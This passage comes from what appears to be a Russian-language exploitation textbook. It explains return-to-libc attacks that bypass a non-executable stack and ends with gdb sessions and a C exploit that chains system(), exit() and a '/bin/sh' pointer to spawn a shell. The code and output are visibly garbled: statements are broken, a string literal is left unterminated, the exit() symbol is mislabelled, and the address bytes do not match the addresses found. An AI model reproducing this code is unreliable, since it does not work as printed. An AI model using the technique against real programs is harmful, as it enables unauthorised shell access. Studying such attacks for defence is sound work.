Борьба с неисполняемым стеком

Предыдущий пример сработал благодаря возможности выполнения команд в стеке. Для защиты от подобных атак во многих операционных системах (Solaris, OpenBSD) программам запрещается выполнение кода в стеке. Эта мера защищает от любых эксплойтов, ориентированных на запись исполняемого кода в стек.

Вероятно, вы уже догадались, что возможность выполнения кода в стеке не критична. Это всего лишь самый простой, известный и наиболее надежный метод эксплуатации уязвимостей. Столкнувшись с неисполняемым стеком, можно воспользоваться другим приемом, называемым возвратом в libc. Фактически мы воспользуемся вездесущей библиотекой libc для экспорта вызовов системных функций в libc. В этом случае эксплуатация уязвимостей станет возможной даже при защищенном стеке.

Возврат в libc

Как же работает метод возврата в libc? Простоты ради предположим, что регистр EIP уже находится под контролем, и в него можно занести любой адрес для выполнения; короче говоря, благодаря обнаружению некоего уязвимого буфера мы полностью перехватили контроль над программой.

Вместо возврата управления в стек, как в традиционном методе переполнения с токовых буферов, мы заставим программу вернуть управление по адресу конкретной функции динамической библиотеки. Функция динамической библиотеки не будет храниться в стеке, и это позволит обойти ограничения на выполнение кода в стеке. Как выбрать функцию для возврата? В идеальном случае функция должна удовлетворять двум условиям:

- Динамическая библиотека должна быть широко распространена и присутствовать в большинстве программ.

- Функция из библиотеки должна обеспечивать максимальную свободу действий, чтобы мы могли запустить командный процессор (или сделать что-нибудь еще по нашему усмотрению).

Обоим требованиям в наибольшей степени соответствует libc — стандартная библиотека С, содержащая практически все стандартные функции С, которые мы принимаем как нечто само собой разумеющееся. По своей природе все функции библиотеки являются общими (собственно, это входит в определение библиотеки функций), а следовательно, доступными для любой программы, в которую включена библиотека libc. Но если любая программа может обратиться к этим общим функциям, нельзя ли использовать это обстоятельство и наших целях? Все, что потребуется, — передать управление по адресу библиотечной функции, которую мы хотим задействовать (разумеется, с соответствующими аргументами), и такая функция будет исполнена.

Для начала не будем усложнять задачу и ограничимся запуском командного процессора. Проще всего воспользоваться функцией system(); в контексте нашего примера эта функция всего лишь получает аргумент и выполняется строкой /bin/sh. Передав функции system() аргумент /bin/sh, мы получим командный процессор. Выполнять код в стеке для этого не придется; переход осуществляется прямо по адресу функции system() в библиотеке С.

Интересный вопрос как передать аргумент функции system()? В сущности, мы хотим передать указатель на строку (bin/sh), которая должна быть выполнена функцией. Известно, что при нормальном выполнении функции (для удобства назовем ее the_function) аргументы заносятся в стек в обратном порядке. Но нас сейчас интересует то, что происходит дальше, и в конечном счете позволит передать параметры функции system().

Сначала выполняется команда CALL the_function. При выполнении команды CALL в стек заносится адрес следующей команды (адрес возврата), а регистр ESP уменьшается на 4. Когда the_function вернет управление, адрес возврата (EIP) извлекается из стека, а в ESP заносится адрес, следующий непосредственно за адресом возврата.

Теперь перейдем к вызову system(). Функция the_funotion считает, что ESP уже указывает на адрес, по которому должен производиться возврат. Также предполагается, что в стеке уже размещены положенные параметры, причем первый аргумент следует за адресом возврата; это нормальное поведение стека. Таким образом, мы должны перевести адрес возврата на функцию system() и занести аргумент (в нашем случае это указатель на строку /bin/sh) в соответствующие 8 байт стека. При возврате из the_function управление передается функции system(), a system() получает данные из стека.

Итак, основные принципы понятны. Для реализации метода возврата в libc необходимо провести кое-какие подготовительные действия:

1. Узнать адрес функции system().

2. Узнать адрес строки /bin/sh.

3. Узнать адрес функции exit() для корректного завершения эксплуатируемой программы.

Адрес функции system() в libc определяется простым дезассемблированием любой программы, написанной на C++. Компилятор gcc по умолчанию включает libc при компиляции, поэтому для определения адреса system() можно воспользоваться простейшей программой:

int main()

{

}

Теперь давайте определим адрес system() при помощи gdb.

[root@0day local]# gdb file

(gdb) break main

Breakpoint 1 at 0x804832e

(gdb) run

Starting program- /usr/local/book/file

Breakpoint 1. 0x804832e in main 0

(gdb) p system

$1 = {<text variable, no debug info>} 0x4203f2c0 <system>

(gdb)

Функция system() находится по адресу 0x4203f2c0. Теперь узнаем адрес exit().

[root@0day local]# gdb file

(gdb) break main

Breakpoint 1 at 0x804832e

(gdb) run

Starting program /usr/local/book/file

Breakpoint 1. 0x804832e in main О

(gdb) p exit

$1 = {<text variable, no debug info>} 0x42029bb0 <system>

(gdb)

Функция exit() находится по адресу 0x42029bb0. Наконец, для получения адреса /bin/sh можно воспользоваться утилитой memfetch (http://Lcamtuf.coredump.cx/), отображающей содержимое памяти для заданного процесса; проведите поиск и двоичном файле и определите адрес /bin/sh в двоичном файле. Существует и другой способ: сохраните строку /bin/sh в переменной окружения и получите адрес этой переменной.

Наконец, можно переходить к написанию программы. Мы должны:

1. Заполнить буфер фиктивными данными вплоть до адреса возврата.

2. Заменить адрес возврата адресом system().

3. Записать за адресом system() адрес exit().

4. Присоединить адрес /bin/sh.

Посмотрим, как это должно выглядеть в коде:

#include <stdlib.h>

#define offset_size 0

#define buffer_size 600

char sc[] =

"\xc0\xf2\x03\x42" //system()

"\x02\x9b\xb0\x42" //exit()

"\xa0\x8a\xb2\x42M //binsh

unsigned long find_start(void) {

_asm_ ("movl %esp,%eax"),

}

int main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr. addr;

int offset=offset_size; bsize=buffer_size;

int i;

if (argc > 1) bsize = atoi(argv[l]);

if (argc > 2) offset = atoi(argv[2]);

addr = find_start() – offset;

ptr = buff;

addr_ptr = (long *) ptr;

for (i=0. i < bsize. i+=4)

*(addr_ptr++) = addr;

ptr += 4;

for (i=0 i < strlen(sc); i++))

*(ptr++) = sc[l];

buff[bsize - 1] = '\0',

memcpy(buff,"BUF=",4),

putenv(buff);

system("/bin/bash");

}

Наши рекомендации